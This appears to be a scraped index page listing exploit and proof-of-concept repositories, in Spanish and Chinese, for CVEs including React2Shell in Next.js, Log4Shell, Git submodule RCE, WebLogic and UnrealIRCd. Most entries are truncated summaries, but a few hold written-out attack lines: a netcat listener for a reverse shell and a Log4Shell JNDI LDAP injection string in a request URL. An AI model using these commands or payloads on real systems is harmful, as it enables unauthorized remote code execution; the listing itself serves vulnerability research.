CVE-2025-55182-Simple-Scanner

CVE-2025-55182: React Server Components RCE Scanner Un kit de herramientas integral para detectar y explotar CVE-2025-55182 , una vulnerabilidad crítica de Ejecución Remota de Código en aplicaciones Next.js que utilizan Componentes del Servidor React. Este repositorio incluye un escáner unificado...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: Marco de Explotación de la Cadena de Suministro CVE-2024-50050 MATERIAL CLASIFICADO SIN RESTRICCIONES - SOLO PARA RED TEAMING AUTORIZADO 1. Resumen Ejecutivo Análisis Determinista LlamaStack-RCE es un marco de...

cve_2025_20265

PoC para CVE-2025-20265 Aviso ⚠️ ADVERTENCIA Este es un exploit funcional para una vulnerabilidad de 1 día. Puede ejecutar código en sistemas vulnerables. Úsalo solo en tus propios servidores internos que estés autorizado a probar. El uso no autorizado es ilegal y poco ético. Úsalo bajo tu propio...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 Título del Exploit: Vehicle Service Management System - La subida de múltiples archivos conduce a la ejecución de código Autor del Exploit: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 ALTA Referencias:...

CVE-2017-8570

¿Qué? Este repositorio contiene un exploit de Prueba de Concepto para CVE-2017-8570, también conocido como la vulnerabilidad "Composite Moniker". Esto demuestra el uso del truco de Packager.dll para dejar un archivo sct en el directorio %TEMP% y luego ejecutarlo mediante la primitiva que...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Use After Free Vulnerabilidad Hacer referencia a memoria después de haber sido liberada puede provocar que un programa se bloquee, use valores inesperados o ejecute código. Descripción de la vulnerabilidad Existe una vulnerabilidad de ejecución remota de código ...

unrealircd3.2.8.1-local-exploit

Probado en Metasploitable 3 USO Ruby En el shell del atacante root@kitploit: nc -nlvp 1111 En el shell de la víctima root@kitploit: ruby exploit.rb 127.0.0.1 Salida esperada en el shell del atacante root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 481...

log4j2-issue-check

评估 Log4Shell：RCE 0-day 问题 该仓库包含评估 Log4j2 问题 CVE-2021-44228 的代码 更多详情 https://www.lunasec.io/docs/blog/log4j-zero-day/ 如何测试 发送带有查询参数 $jndi:ldap://127.0.0.1:3089/ 的 GET 请求。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 当发送上述请求时，应用程序会尝试连接到 LDAP...

CVE-2024-32002

CVE-2024-32002 PoC de RCE Descripción General Este repositorio contiene una Prueba de Concepto PoC para CVE-2024-32002, una vulnerabilidad de Ejecución Remota de Código RCE en submódulos de Git. El exploit demuestra cómo se puede activar un payload malicioso mediante un clon recursivo de un...

CVE-2023-46980

CVE-2023-46980 Un problema en Best Courier Management System v.1.000 permite a un atacante remoto ejecutar código arbitrario y escalar privilegios mediante un script manipulado en el parámetro userID. Información adicional Enlace del PoC en video en YT ; https://youtu.be/3Mz2lSElg7Y Tipo de...

CVE-2021-42362

CVE-2021-42362 El plugin de WordPress Popular Posts es vulnerable a la subida arbitraria de archivos debido a una validación insuficiente del tipo de archivo de entrada encontrada en el archivo /src/Image.php, lo que hace posible que atacantes con acceso de nivel colaborador o superior suban...

CVE-2024-44346

Divulgación de CVE: CVE-2024-44346 Fecha: 13-09-2024 Resumen Se identificó una vulnerabilidad en Tosibox tbsetup.exe versión 4.0.0.0, que podría permitir la escalada de privilegios local. A este problema se le ha asignado el identificador CVE-2024-44346. El proveedor ha publicado un aviso con más...

Blackash-CVE-2025-68613

🚨 CVE-2025-68613 — RCE crítico en n8n Severidad: 🔴 Crítico Impacto: Ejecución remota de código Plataforma afectada: n8n automatización de flujos de trabajo 🧩 Resumen CVE-2025-68613 es una vulnerabilidad de seguridad crítica en n8n , una plataforma de automatización de flujos de trabajo de código...

CVE-2024-10930

Divulgación de CVE: CVE-2024-10930 Divulgación pública de CVE-2024-10930 Fecha: 12-02-2025 Resumen Se identificó una vulnerabilidad en el producto Carrier E20-BLK416X.EXE versión 4.16, que podría permitir la escalada local de privilegios. A este problema se le ha asignado el identificador...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2024-32002

CVE-2024-32002 RCE PoC Descripción general Este repositorio contiene una Prueba de Concepto PoC para CVE-2024-32002, una vulnerabilidad de Ejecución Remota de Código RCE en los submódulos de Git. El exploit demuestra cómo se puede activar una carga útil maliciosa mediante la clonación recursiva d...

Log4Shell-CVE-2021-44228-

Log4Shell CVE-2021-44228 - SOC 报告分析 概述 该仓库包含针对 Log4Shell CVE-2021-44228 的全面安全运营中心 SOC 分析，这是 2021 年发现的最关键的漏洞之一。该漏洞影响 Apache Log4j 日志库，对全球各地的组织构成极端风险。 内容 SOCREPORT.md - 完整的 SOC 分析与建议 TECHNICALANALYSIS.md - 该漏洞的深度技术剖析 REMEDIATIONGUIDE.md - 分步缓解策略 DETECTIONINDICATORS.md - IOCs（入侵指标）与检测方法...

CVE-2011-0762

CVE-2011-0762 Exploit Exploit en C para la vulnerabilidad CVE-2011-0762 en servidores FTP que permite el envío de un comando STAT con una carga útil maliciosa para causar posibles fallos o ejecución no deseada. Descripción Este exploit se conecta a un servidor FTP y autentica usando un usuario y...

PoC_CVE-2025-55182

Herramienta de Explotación Next.js React2Shell CVE-2025-55182 Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de prueba locales autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA Esta...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - investigación por Jang Código por @s1kr10s Poc: Revisión / Vídeo: root@kitploit: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...